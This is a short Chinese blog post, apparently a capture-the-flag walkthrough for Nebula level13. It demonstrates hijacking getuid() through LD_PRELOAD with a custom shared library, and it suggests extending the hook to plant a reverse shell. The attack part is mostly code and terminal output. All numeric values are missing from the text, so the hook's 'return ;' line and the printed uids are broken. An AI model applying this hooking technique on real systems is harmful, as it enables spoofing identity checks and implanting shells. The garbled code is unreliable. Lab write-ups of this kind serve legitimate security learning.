一种简单的hook方法--LD_PRELOAD变量

时间:2021-08-12 20:27:35

LD_PRELOAD这个变量允许你定义在程序运行时优先加载的动态链接库,从而在程序运行时的动态链接

下面程序的看一个例子-getuid.c

//getuid.c

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main(void)
{
printf("my uid is %d\n",getuid());
} //gcc -o getuid getuid.c

这段程序很简单,就是获取当前的uid

level13@nebula:/tmp$ ./getuid
my uid is
level13@nebula:/tmp$ id
uid=(level13) gid=(level13) groups=(level13)

运行后确实拿到了当前用户的uid,下面就通过LD_PRELOAD变量来劫持系统原来的getuid函数,从而改变返回结果

一、编写恶意getuid()函数

//muid.c

#include<sys/types.h>
uid_t getuid(void)
{
return ;
} //gcc -shared -lc -fPIC -o muid.so muid.c

我们让恶意getuid函数返回1000这个值

二、修改LD_PRELOAD变量

level13@nebula:/tmp$ LD_PRELOAD="/tmp/muid.so"
level13@nebula:/tmp$ export LD_PRELOAD

把LD_PRELOAD变量指向我们编译好的恶意getuid函数库

三、运行getuid程序

level13@nebula:/tmp$ ./getuid
my uid is

可以看到这里getuid函数已经被劫持了,返回了我们想要的uid值,顺利hook该函数

我们也可以加入更多恶意代码,比如返弹shell等,经过测试,这种方式可以劫持大部分系统函数,其他理由有待深入挖掘